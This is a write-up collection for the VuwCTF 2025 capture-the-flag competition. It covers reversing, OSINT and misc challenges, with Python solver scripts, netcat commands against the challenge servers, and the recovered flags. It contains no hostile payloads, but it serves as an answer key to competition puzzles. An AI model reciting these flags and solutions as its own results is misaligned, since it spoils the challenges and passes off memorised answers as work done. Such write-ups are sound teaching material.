2. Stores encrypted flag data on the stack using overlapping writes
3. Uses a 3-byte XOR key: `[0x83, 0xf1, 0xa0]`
4. For each character position, XORs the encrypted byte with `key[i % 3]` and compares to input

#### Solution

```python
import struct

# Build the encrypted data array accounting for overlapping stack writes
data = bytearray(32)

# Store at -0x30 (offset 0)
data[0:8] = struct.pack('<Q', 0x9ff8e6a5c0d784d5)
# Store at -0x28 (offset 8)
data[8:16] = struct.pack('<Q', 0xecc29cfad3aeedcf)
# Store at -0x23 (offset 13) - overlapping!
data[13:21] = struct.pack('<Q', 0xc6aee0c99decc29c)
# Store at -0x1b (offset 21)
data[21:29] = struct.pack('<Q', 0x8cedcf98f7c39ff6)

# XOR key
key = bytes([0x83, 0xf1, 0xa0])

# Decrypt
flag = bytes([data[i] ^ key[i % 3] for i in range(29)])
print(flag.decode())
```

#### Flag

```
VuwCTF{non_symbolic_function}
```

***

### Ngawari VM

**Category:** Reversing **Points:** 176 **Difficulty:** Easy

#### Description

A custom VM (ngawari\_vm) that implements a Pushdown Automaton (PDA) - a state machine with a stack. It reads bytecode from flag\_checker.txt and validates user input.

#### Solution

**VM Format:**

* First line: `<initial_state><initial_stack_symbol><accepting_states>`
* Instruction lines: `<state><input><stack_top><new_state><push_chars>`

**Solution Approach:**

1. Parsed the PDA instructions from the bytecode file
2. Used BFS to find an input string that successfully transitions through the automaton and ends in accepting state

**Solver (key part):**

```python
from collections import deque

queue = deque([(initial_state, (initial_stack,), "")])
while queue:
    state, stack, input_str = queue.popleft()
    for (cs, ic, st, ns, pc) in instructions:
        if cs == state and st == stack[-1]:
            new_stack = list(stack[:-1])
            for c in reversed(pc):
                new_stack.append(c)
            if ic == '^' and ns in accepting_states:
                return input_str  # Found!
            elif ic != '^':
                queue.append((ns, tuple(new_stack), input_str + ic))
```

**Gotcha:** The challenge file had CRLF line endings, causing `\r` to be included in push strings.

#### Flag

`VuwCTF{VuwCTF_1s_s0_c00l_innit}`

***

### A New Machine

**Category:** Reversing **Points:** 356 **Difficulty:** Easy

#### Description

A Python bytecode file compiled with Python 3.14.0a4 (magic bytes `1d 0e 0d 0a`).

#### Solution

The bytecode can't run on standard Python versions due to format changes between alpha and release. Built Python 3.14.0a4 from source in Docker to disassemble it.

**Flag validation logic revealed:**

```python
def a(xs):
    return xs == 'lith'

class B:
    def __init__(self, s):
        self.s = s
    def __bool__(self):
        return sum(l == r for l, r in zip(map(lambda ch: ord(ch)**2, self.s),
                   (10201, 12996, 11025, 12100))) == 4

# Validation chain:
# i[0] == 'V'
# ord(i[1]) == 117  ('u')
# i[2:7] == 'wCTF{'
# i[7] == i[8] == i[9]  (3 identical chars)
# a(i[10:14])  → must be 'lith'
# B(i[14:18])  → must be 'erin' (sqrt of 10201,12996,11025,12100)
# i[19] == '}'
```

The tuple (10201, 12996, 11025, 12100) are squared ASCII values: 101²=e, 114²=r, 105²=i, 110²=n → "erin"

Combining: sss + lith + erin + g = "slithering"

#### Flag

`VuwCTF{ssslithering}`

***

### String Inspector

**Category:** Reversing **Points:** 400 **Difficulty:** Hard

#### Description

A statically-linked binary that validates a flag by repeatedly calling itself via execve syscall, subtracting a constant each iteration.

#### Solution

The binary expects a flag in format `VuwCTF{XXXXXXXXXXXXX}` (13 digits inside).

**Key constants found in disassembly:**

* Subtraction value: 84673 (at 0x4017f8)
* Target counter: 319993 (checked at 0x401989)
* Target remainder: 42 (checked at 0x47f052)

**Algorithm:**

1. Extract 13-digit number from flag
2. Recursively subtract 84673 via self-execve calls
3. Accept when: counter == 319993 AND remainder == 42

**Solution:**

```python
flag_content = 84673 * 319993 + 42  # = 27094767331
flag = f"VuwCTF{{{flag_content:013d}}}"
```

#### Flag

`VuwCTF{0027094767331}`

***

### Classy People Dont Debug

**Category:** Reversing **Points:** 400 **Difficulty:** Hard

#### Description

A stripped ELF binary with heavy anti-debugging that prompts for a flag and checks if it's correct.

#### Solution

**Anti-Debugging Techniques:**

1. ptrace self-trace
2. Watchdog process checking TracerPid
3. Memory map inspection for Frida/ASan
4. Parent process check for debuggers
5. Timing checks
6. VM detection
7. Code integrity check (SHA256)

**Main Flag Checking Logic:**

```c
for (int i = 0; i <= 0x20; i++) {
    char lookup_val = data_404180[i * 6];
    char expected = sub_402f88(i, 0, lookup_val);
    if (input[i] != expected) {
        // Wrong!
    }
}
```

**Understanding sub\_402f88:**

```python
val1 = (193 + i * 13) & 0xFF  # 0xC1 + i*0xD
val2 = (163 + i * 5) & 0xFF   # 0xA3 + i*0x5
val3 = data_404120[i % 64]
result = lookup_val ^ val1 ^ val2 ^ val3
```

**Solution Script:**

```python
with open('Classy', 'rb') as f:
    f.seek(0x4120)
    data_404120 = f.read(64)
    f.seek(0x4180)
    data_404180 = f.read(200)

flag = []
for i in range(33):
    lookup_val = data_404180[i * 6]
    val1 = (193 + i * 13) & 0xFF
    val2 = (163 + i * 5) & 0xFF
    val3 = data_404120[i % 64]
    char = lookup_val ^ val1 ^ val2 ^ val3
    flag.append(chr(char))

print(''.join(flag))
```

#### Flag

`VuwCTF{very_classy_d0'nt_6ou_s33}`

***

### Trianglification

**Category:** Reversing **Points:** 484 **Difficulty:** Easy

#### Description

*No description available in notes.*

#### Solution

**Understanding the Encryption**

Reversing the binary reveals it's an image encryption tool using OpenCV. The encryption scheme:

1. Divides the image into 5 regions based on a triangle with vertices at (89,44), (49,124), (129,124)
2. The triangle is subdivided by midpoints into regions: **above**, **left**, **right**, **under**, and **inside**
3. Each region has a random mask value (0-255)
4. For each pixel at (x,y), the XOR key is computed as: `key = (mask * x - y) & 0xFF`
5. Pixels in overlapping regions XOR their masks together

**Breaking the Encryption**

The key insight is that natural images have **smooth gradients** - neighboring pixels have similar values. We can exploit this to recover the masks:

1. **Identify "pure" pixels** - pixels that belong to exactly one region (for clean mask recovery)
2. **Brute-force each mask** - for each region, try all 256 possible mask values
3. **Score by smoothness** - decrypt sample pixels and measure the difference between neighboring pixels; the correct mask produces the smoothest result

```python
def smoothness_cost(region_points, mask_val):
    """Lower cost = smoother result = correct mask"""
    cost = 0
    for x, y in region_points:
        key = (mask_val * x - y) & 0xFF
        dec = img[y, x] ^ key
        # Compare with neighbors
        if x + 1 < w:
            key2 = (mask_val * (x + 1) - y) & 0xFF
            dec2 = img[y, x + 1] ^ key2
            cost += abs(dec - dec2)
    return cost
```

**Full Decryption**

Once masks are recovered, decrypt each pixel:

```python
def decrypt_with_masks(mask_dict):
    for y in range(h):
        for x in range(w):
            # XOR together masks of all regions this pixel belongs to
            mask = 0
            if is_above(x,y): mask ^= mask_dict['above']
            if is_right(x,y): mask ^= mask_dict['right']
            if is_left(x,y):  mask ^= mask_dict['left']
            if is_under(x,y): mask ^= mask_dict['under']
            if is_inside(x,y): mask ^= mask_dict['inside']

            key = (mask * x - y) & 0xFF
            out[y, x] = img[y, x] ^ key
    return out
```

The decrypted image reveals an elephant with the flag text overlaid.

```python
#!/usr/bin/env python3
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt

# ---------- 1. Load encrypted image ----------
img = np.array(Image.open("output.jpeg"))
h, w = img.shape[:2]

# ---------- 2. Triangle + region logic (from decomp) ----------
# For this specific image (179x168), these are the actual coords:
top = (89, 44)
bl  = (49, 124)
br  = (129, 124)

# Midpoints (e0, f8, m110)
E0   = (69, 84)
F8   = (89, 124)
M110 = (109, 84)

def inside_triangle(px, py):
    """Same-side test from the binary."""
    def sign(p1, p2, p3):
        return (p1[0] - p3[0]) * (p2[1] - p3[1]) - (p2[0] - p3[0]) * (p1[1] - p3[1])

    d1 = sign((px, py), top, bl)
    d2 = sign((px, py), bl, br)
    d3 = sign((px, py), br, top)

    has_neg = (d1 < 0) or (d2 < 0) or (d3 < 0)
    has_pos = (d1 > 0) or (d2 > 0) or (d3 > 0)
    return not (has_neg and has_pos)

def region_flags(x, y):
    """Return booleans for left, right, above, under, inside."""
    is_left  = (x < E0[0])   and (x < F8[0])   and (x < M110[0])
    is_right = (x > E0[0])   and (x > F8[0])   and (x > M110[0])
    is_above = (y < E0[1])   and (y < F8[1])   and (y < M110[1])
    is_under = (y > E0[1])   and (y > F8[1])   and (y > M110[1])
    is_in    = inside_triangle(x, y)
    return is_left, is_right, is_above, is_under, is_in

# ---------- 3. Collect pure-region pixels ----------
pure = { 'above': [], 'right': [], 'left': [], 'under': [], 'inside': [] }

for y in range(h):
    for x in range(w):
        is_left, is_right, is_above, is_under, is_in = region_flags(x, y)
        s = sum([is_left, is_right, is_above, is_under, is_in])
        if s == 1:
            if is_above: pure['above'].append((x, y))
            if is_right: pure['right'].append((x, y))
            if is_left:  pure['left'].append((x, y))
            if is_under: pure['under'].append((x, y))
            if is_in:    pure['inside'].append((x, y))

print({k: len(v) for k, v in pure.items()})

# ---------- 4. Smoothness-based mask search ----------
def smoothness_cost(region_points, mask_val, sample_limit=500):
    """Lower cost = smoother local neighborhood after decrypting with this mask."""
    pts = region_points[:sample_limit]
    cost = 0
    count = 0

    for x, y in pts:
        key = (mask_val * x - y) & 0xFF
        dec = img[y, x] ^ key

        # right neighbor
        if x + 1 < w:
            key2 = (mask_val * (x + 1) - y) & 0xFF
            dec2 = img[y, x + 1] ^ key2
            cost += np.abs(dec.astype(int) - dec2.astype(int)).sum()
            count += 1

        # bottom neighbor
        if y + 1 < h:
            key2 = (mask_val * x - (y + 1)) & 0xFF
            dec2 = img[y + 1, x] ^ key2
            cost += np.abs(dec.astype(int) - dec2.astype(int)).sum()
            count += 1

    return cost / max(count, 1)

best_masks = {}

for region, pts in pure.items():
    print(f"[+] Searching mask for region '{region}'...")
    scores = np.zeros(256, dtype=float)
    for m in range(256):
        scores[m] = smoothness_cost(pts, m, sample_limit=500)
    best_masks[region] = int(scores.argmin())
    print(f"    best mask = {best_masks[region]} (0x{best_masks[region]:02x})")

print("Best masks:", best_masks)

# ---------- 5. Full decryption ----------
def decrypt_with_masks(mask_dict):
    out = np.zeros_like(img)
    for y in range(h):
        for x in range(w):
            is_left, is_right, is_above, is_under, is_in = region_flags(x, y)
            mask = 0
            if is_above: mask ^= mask_dict['above']
            if is_right: mask ^= mask_dict['right']
            if is_left:  mask ^= mask_dict['left']
            if is_under: mask ^= mask_dict['under']
            if is_in:    mask ^= mask_dict['inside']
            key = (mask * x - y) & 0xFF
            out[y, x] = img[y, x] ^ key
    return out

dec = decrypt_with_masks(best_masks)
Image.fromarray(dec).save("decrypted_smooth.png")
print("[+] Saved decrypted_smooth.png")

# ---------- 6. Optional: generate 3×3 candidate grid ----------
# tweak 'above' and 'inside' masks slightly around smoothness optimum
offsets = [-10, 0, 10]
candidates = []

idx = 0
for da in offsets:
    for di in offsets:
        cand_masks = best_masks.copy()
        cand_masks['above']  = (best_masks['above']  + da) & 0xFF
        cand_masks['inside'] = (best_masks['inside'] + di) & 0xFF
        dec_cand = decrypt_with_masks(cand_masks)
        fn = f"dec_candidate_{idx}.png"
        Image.fromarray(dec_cand).save(fn)
        candidates.append((fn, cand_masks))
        idx += 1

print("[+] Saved", len(candidates), "candidate images (dec_candidate_*.png)")

# show them enlarged
fig, axs = plt.subplots(3, 3, figsize=(9, 9))
for i, (fn, masks) in enumerate(candidates):
    imgc = Image.open(fn)
    big = imgc.resize((imgc.width * 4, imgc.height * 4), Image.NEAREST)
    ax = axs[i // 3][i % 3]
    ax.imshow(big)
    ax.axis("off")
    ax.set_title(f"a={masks['above']}, in={masks['inside']}", fontsize=8)

plt.tight_layout()
plt.show()

```

<figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FgsaAjdCXbvVp5RmFMIjj%2Fsolved.png?alt=media&#x26;token=2657a18a-da2d-42e7-9564-29fe4171d592" alt=""><figcaption></figcaption></figure>

#### Flag

`VuwCTF{The_L3phant_1s_TRiang1efied}`

***

### Math Solver

**Category:** Reversing **Points:** 484 **Difficulty:** Medium

#### Description

A stripped, statically-linked ELF binary containing an encrypted flag and a constraint-based math puzzle on an 11×11 grid.

#### Solution

The binary contains a flag format string: `VuwCTF{m4th_when_%08lX_acr0ss_%02d_is_aw3s0ME}`

**Grid Structure:** An 11×11 grid with special byte values:

* 0xf9 = wall/boundary
* 0xfa = empty cell (to be filled)
* 0xfb = division operator (/)
* 0xfc = multiplication operator (\*)
* 0xfd = subtraction operator (-)
* 0xfe = addition operator (+)
* 0xff = constraint marker

**Solving the constraint system algebraically:**

```python
x52 = 17 * 9           # = 153
x114 = 40 - 38         # = 2
x118 = 168 // 84       # = 2
x74 = x118 * 5         # = 10
x2 = 105 - 5           # = 100
x4 = x2 - 47           # = 53
x48 = x4 * 1           # = 53
x50 = x52 - x48        # = 100
x66 = 130 - 55         # = 75
x70 = x66 - 1          # = 74
x76 = 59 - 54          # = 5
x72 = x76 * x74        # = 50
x94 = x50 // x72       # = 2
x92 = 39 - x94         # = 37

# Compute FNV-1a hash of solved grid
h = 0x811c9dc5
for byte in grid:
    h = ((byte ^ h) * 0x1000193) & 0xffffffff

# Counter is grid[92] + 30 = 37 + 30 = 67
```

#### Flag

`VuwCTF{m4th_when_95E68BBF_acr0ss_67_is_aw3s0ME}`

***

## OSINT

### Computneter

**Category:** OSINT **Points:** 100 **Difficulty:** Easy

#### Description

i found this in e-waste what is it

> Flag format is `VuwCTF{Manufacturer_Model}` and is case insensitive.

#### Solution

The battery has a number that can be looked up, checked compatible models.&#x20;

#### Flag

*VuwCTF{ASUS\_G550JK}*

***

### Rogue

**Category:** OSINT **Points:** Easy **Difficulty:** 275

#### Description

Our backend dev's gone rogue and started selling a bunch of our flags! I tried to trick him, but he's too good. I know he's doing it though!

This flag is case sensitive.

#### Solution

Search the username in the email on github and find a page with a .github. Check the page source and find a comment with the flag.

#### Flag

*Flag not recorded*

***

### It's News!

**Category:** OSINT **Points:** 500 **Difficulty:** Medium

#### Description

I took this photo of a newspaper clipping on campus. Can you help me ID it, and tell me which group keeps it safe?

Hint: I took this photo of **a newspaper clipping on campus** on my iPhone. Can you help me ID it, and tell me which group keeps it safe?

Hint 2: This challenge is as easy as 一, 二, 三

> Flag format is `VuwCTF{dd_mm_yyyy_originalpublicationname_currentcustodialorg}` and is case insensitive

#### Solution

Looking up the text, can find a link to the actual clipping for the date. <https://paperspast.natlib.govt.nz/newspapers/NZTIM18760728.2.26.6>

Looking at the exifdata on the image, can see the GPS location, looking at the organizations on the university site we can see one at that location. Or AI solves with the hint.

{% code overflow="wrap" %}

```
Based on the prior research, the New Zealand Art Research & Study Centre (NZARSC) inside Adam Art Gallery matches the role of a "custodial organization." It handles newspaper clippings, making it the most consistent with the challenge's requirements. The term "group" also fits, but it's not widely known.

The hint "as easy as 一, 二, 三" might connect to another group: Wai-te-ata Press. Their collections include "newspaper clippings," and they focus on historical printing materials. Their proximity to Gate 3 and the Beaglehole complex aligns with the EXIF clues, making them a possible custodian for the clipping.

Since I can't check for “newspaper clippings” anymore, I’m left with weighing the two possible custodians: Wai-te-ata Press or Adam Art Gallery. A printing history center like Wai-te-ata Press seems plausible for holding the clipping, especially considering its connection to archival materials. The proximity of both buildings to Gate 3 is similar, but Wai-te-ata Press is actually closer to the Tim Beaglehole complex. Based on available clues, Wai-te-ata Press feels like a strong candidate.

The repeated emphasis on Gate 3 and the hint "as easy as 一,二,三" lead me to focus on the Gate 3 area. Among the groups there, Wai-te-ata Press seems the most likely custodian for the newspaper clipping, given their focus on book history and print culture. They could have displays featuring old newspapers.
```

{% endcode %}

#### Flag

`VuwCTF{28_07_1876_newzealandtimes_waiteatapress}`

***

## Misc

### Discord

**Category:** Misc **Points:** 100 **Difficulty:** Easy

#### Description

there's more lurking in the discord than just tickets, and people, and event updates, and news, and first blood trackers, and solv-

<https://discord.gg/jaKK2UXnbE>

#### Solution

Go to solve-stream channel, flag in description.

#### Flag

VuwCTF{can\_you\_spot\_yourself\_here?}

***

### AutomatonCSC

**Category:** Misc **Points:** 100 **Difficulty:** Easy

#### Description

Robotnic did some Vibe Coding and accidentally created an disloyal automaton which is trying to access his secrets. Luckily he coded his website to stop it... for now.

#### Solution

1. Check `robots.txt`
2. View source code
3. Navigate to: `https://automatoncsc.challenges.2025.vuwctf.com/robotnics_home_7x9k2m/flag.txt`

Response: "Nooo! My plans have been spoiled :("

#### Flag

`VuwCTF{We_love_you_NZCSC!!!}`

***

### Fortune Cookie

**Category:** Misc **Points:** 100 **Difficulty:** Easy

#### Description

A challenge involving network services and fortune quotes.

#### Solution

The challenge hints at port 17, which is the QOTD (Quote of the Day) protocol. The "512 octets" reference confirms this (RFC 865 spec).

Simply connect multiple times until the flag appears:

```bash
for i in {1..20}; do nc fortune-cookie.challenges.2025.vuwctf.com 17; done
```

The service returns random fortunes, one of which contains the flag.

#### Flag

`VuwCTF{om_nom_nom_bytes}`

***

### Not Turing Complete

**Category:** Misc **Points:** 436 **Difficulty:** Hard

#### Description

Implement xxhash32 in a very limited programming language with only 3 variables (a, b, c), basic operators (+, -, \*, /, ^, &, |), and no control flow.

#### Solution

**Key Insights:**

1. **Python's Arbitrary Precision Integers:** Pack multiple values into a single variable at different bit positions
2. **Implementing Rotation with Arithmetic:** `rotl32(x, n) = ((x * 2^n) & MASK32) + (x / 2^(32-n))`
3. **State Packing:** Store running hash in high bits of `a` (at 2^256 offset) while keeping input in low bits

The solution generates 146 lines of NTC code that correctly implements xxhash32:

```python
# Example operations
emit(f"b = a & {MASK32}")                    # Extract word
emit(f"c = b * {PRIME32_2}")                  # Multiply
emit("b = c * 8192")                          # Left shift by 13
emit(f"b = b & {MASK32}")                     # Mask to 32 bits
emit("c = c / 524288")                        # Right shift by 19
emit("c = c + b")                             # Combine for rotation
```

**Running:**

```bash
python3 solve.py | nc not-turing-complete.challenges.2025.vuwctf.com 9987
```

#### Flag

`VuwCTF{Tur1NG_w4s_r1ght_0Oa0}`
